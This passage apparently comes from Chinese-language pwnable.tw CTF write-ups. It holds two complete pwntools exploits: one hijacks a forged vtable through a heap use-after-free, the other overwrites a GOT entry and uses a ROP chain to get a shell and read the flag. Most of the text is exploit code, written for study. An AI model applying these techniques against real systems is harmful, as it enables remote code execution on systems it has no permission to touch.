    _add_ghost(name, age, msg, TYPE_MUMMY)
    p.sendafter(b"Commit on bandage : ", commit+b"\n")
    _do_action(action)

def add_dullahan(name, age:int, msg, weapon, action:int):
    '''name, age:int, msg, weapon, action:int'''
    _add_ghost(name, age, msg, TYPE_DULLAHAN)
    p.sendafter(b"Give a weapon : ", weapon+b"\n")
    _do_action(action)

def add_vampire(name, age:int, msg, blood, action:int):
    '''name, age:int, msg, blood, action:int'''
    _add_ghost(name, age, msg, TYPE_VAMPIRE)
    p.sendafter(b"Add blood :", blood+b"\n")
    _do_action(action)

def add_yuki(name, age:int, msg, cold, action:int):
    '''name, age:int, msg, cold, action:int'''
    _add_ghost(name, age, msg, TYPE_YUKI)
    p.sendafter(b"Cold :", cold+b"\n")
    _do_action(action)

def add_kasa(name, age:int, msg, foot:int, eyes, echo, action:int):
    '''name, age:int, msg, foot:int, eyes, echo, action:int'''
    _add_ghost(name, age, msg, TYPE_KASA)
    p.sendafter(b"foot number :", str(foot).encode()+b"\n")
    p.sendafter(b"Eyes : ", eyes+b"\n")
    p.sendafter(b"Input to echo :", echo)
    _do_action(action)

def add_alan(name, age:int, msg, lightsaber, action:int):
    '''name, age:int, msg, lightsaber, action:int'''
    _add_ghost(name, age, msg, TYPE_ALAN)
    p.sendafter(b"Your lightsaber : ", lightsaber+b"\n")
    _do_action(action)

def show_ghost(idx:int):
    p.sendafter(b"Your choice :", b"2\n")
    p.sendafter(b"which you want to show in the party : ", str(idx).encode()+b"\n")

def night():
    p.sendafter(b"Your choice :", b"3\n")

def rmghost(idx:int):
    p.sendafter(b"Your choice :", b"4\n")
    p.sendafter(b"which you want to remove from the party : ", str(idx).encode()+b"\n")

def end_party():
    p.sendafter(b"Your choice :", b"5\n")

def get_fake_werewolf_obj(vtable, ptr_to_leak):
    return (p64(vtable) + p64(0) + p64(ptr_to_leak)).ljust(0x5f, b"\x00")

def exp():
    # leak vtable && image_base
    add_vampire(name=b"AAAA", age=1, msg=b"aaaa", blood=b"a"*0x5f, action=ACTION_JOINANDSHOW) #0
    add_werewolf(name=b"BBBB", age=1, msg=b"bbb", full_moon=1, action=ACTION_JOINANDSHOW) #1
    show_ghost(0)
    p.recvuntil(b"Blood : ")
    vtable_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) # werewolf's vtable
    werewolf_vtable = vtable_leak
    image_base = vtable_leak - 0x210b98
    print("[*] vtable_leak:", hex(vtable_leak))
    print("[*] image_base:", hex(image_base))

    # leak heap
    ## deep free obj_0 && shallow free obj_1
    rmghost(0)
    vector_ghostlist = image_base + vector_ghostlist_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, vector_ghostlist)
    add_mummy(name=b"CCCC", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    show_ghost(0) # leak what name_ptr point to
    p.recvuntil(b"Name : ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12d40
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # leak libc
    ## deep free obj_1 && shallow free obj_0
    rmghost(1)
    libc_start_main_got = image_base + libc_start_main_got_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, libc_start_main_got)
    add_mummy(name=b"DDDD", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    get_name_list()
    p.recvuntil(b": ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"__libc_start_main"]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    p.sendline(b"1")

    # attack vtable
    rmghost(1)
    fake_vtable_addr = heap_base + 0x12e40 + 0x8
    one_gadget = libc_base + one_list_remote[2]
    fake_vtable = p64(0)*2 + p64(one_gadget) # vtable+0x10 -> self.showinfo()
    fake_werewolf_obj = (p64(fake_vtable_addr) + fake_vtable).ljust(0x5f, b"\x00")
    add_mummy(name=b"EEEE", age=1, msg=fake_werewolf_obj, commit=b"shell", action=ACTION_JOINANDSHOW) #0/1

    # getshell
    p.sendline(b"2")
    p.sendline(b"0") # call self.showinfo() -> one_gadget to get shell

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe的时候有一个syscall,并且只要返回值正常,后面会接上ret (重点!)。

思路

  1. 由分析可知,这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节,同时写完这个字节后RAX的值刚好变成1,也就是SYS_write的系统调用号。当下一次再调用read时就会变成write;

  2. 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露,一次泄露多个字节会导致RAX过大,后续不方便控制。每次write一个字节可以保证RAX始终为1

  3. 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中,最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节,RAX的值就会变回0,也就是SYS_read的系统调用号;

  4. 环境很坑,每次输入前尝试把sleep时间调长一点,否则会出现read不进去的情况。

EXP

from pwn import *
import time

#p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10403)
elf = ELF("./unexploitable")
libc = ELF("./libc_64.so.6")

context.log_level = "debug"

# const
offset_byte = b"\x0e" # read offset to syscall

# addr
bss_addr = 0x601028
main_addr = 0x400544
read_plt = elf.symbols[b"read"]
read_got = elf.got[b"read"]
sleep_got = elf.got[b"sleep"]
libc_start_main = elf.got[b"__libc_start_main"]

# gadget
csu_gadget_1 = 0x4005e6
csu_gadget_2 = 0x4005d0
pop_rbp_ret = 0x400512
leave_ret = 0x400576

def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int):
    rop = p64(csu_gadget_1)
    rop += p64(0) #padding
    rop += p64(rbx) #rbx
    rop += p64(rbp) #rbp
    rop += p64(call) #r12->call addr
    rop += p64(rdi) #r13->edi
    rop += p64(rsi) #r14->rsi
    rop += p64(rdx) #r15->rdx
    rop += p64(csu_gadget_2)
    rop += b"\x00"*0x38 #pad
    return rop

def exp():
    #gdb.attach(p, "b *0x400576\nc\n")
    #gdb.attach(p, "b system\nc\n")

    # migrate stack to bss && call read
    target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh
    payload1 = b"a"*0x10 + p64(0xdeadbeef)
    payload1 += p64(csu_gadget_1)
    payload1 += p64(0) #padding
    payload1 += p64(0) #rbx
    payload1 += p64(1) #rbp
    payload1 += p64(read_got) #r12->call addr
    payload1 += p64(0) #r13->edi
    payload1 += p64(target_stack_1) #r14->rsi
    payload1 += p64(0x600) #r15->rdx
    payload1 += p64(csu_gadget_2)
    payload1 += b"\x00"*0x38 #pad
    payload1 += p64(pop_rbp_ret) #set rbp
    payload1 += p64(target_stack_1+0x8)
    payload1 += p64(leave_ret) # migrate
    print("len(payload1):", hex(len(payload1)))
    p.sendline(payload1)

    #pause()
    time.sleep(7)
    # read payload to target_stack_1
    payload2 = b"/bin/sh\x00"
    payload2 += p64(0xdeadbeef) #new rbp
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got
    for i in range(6):
        payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got
    payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system
    payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh")
    payload2 += p64(main_addr)
    print("len(payload2):", hex(len(payload2)))
    p.sendline(payload2)

    #pause()
    time.sleep(7)
    p.send(b"\x7e")
    time.sleep(4)
    sleep_addr = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = sleep_addr - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    print("sleep_addr:", hex(sleep_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    #pause()
    time.sleep(7)
    p.send(p64(system))

    p.sendline("cat /home/*/flag")
    p.recvall()

if __name__ == "__main__":
    exp()